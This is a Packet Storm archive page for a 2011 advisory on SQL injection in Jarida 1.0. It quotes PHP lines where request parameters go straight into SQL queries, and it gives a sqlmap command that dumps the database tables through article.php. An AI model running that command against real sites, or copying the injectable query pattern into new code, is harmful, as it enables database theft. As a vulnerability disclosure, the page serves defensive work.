what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Jarida 1.0 SQL Injection

Jarida 1.0 SQL Injection
Posted Sep 28, 2011
Authored by Ptrace Security

Jarida version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 6e69a004b6c0c2fc4f4ba41279ce2c180e6ce87f14cddbda91162dd39ae19510

Jarida 1.0 SQL Injection

Change Mirror Download
# Exploit Title:   Jarida 1.0 SQL Injection
# Date : 26 September 2011
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: http://sourceforge.net/projects/jarida/
# Version : 1.0
# Tested on : CentOS 5.6


[01] ./article.php:28: $query = "SELECT article_id FROM tblArticle WHERE article_id = " . $_GET['id'];
=> ./sqlmap.py -u http://192.168.109.111/jarida_1.0/article.php?id=1 --dump --tables


[02] ./comment.php

36 $name = $_POST['name'];
37 $web = $_POST['web'];
38 $title = $_POST['title'];
39 $body = $_POST['body'];
40 $ip = $_SERVER['REMOTE_ADDR'];
41 $article_id = $_POST['id'];
42 $date = time();
43
...
56
57 switch($_POST['type'])
58 {
59 case 'article':
60 $redirect_url = "./article.php?id=" . $_POST['id'];
61 $query = "INSERT INTO tblArticleComment (comment_article_id, comment_title, comment_date, comment_body, comment_name, comment_web, comment_ip)
62 VALUES('$article_id', '$title', '$date', '$body', '$name', '$web', '$ip')";
63 break;
64
65 case 'photo':
66 $redirect_url = "./photo.php?id=" . $_POST['id'];
67 $query = "INSERT INTO tblPhotoComment (comment_photo_id, comment_title, comment_date, comment_body, comment_name, comment_web, comment_ip)
68 VALUES('$article_id', '$title', '$date', '$body', '$name', '$web', '$ip')";
69 break;
70 }


[03] ./photo.php

39 $query = "SELECT photo_id FROM tblPhoto
40 WHERE photo_id = " . $_GET['id'];



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close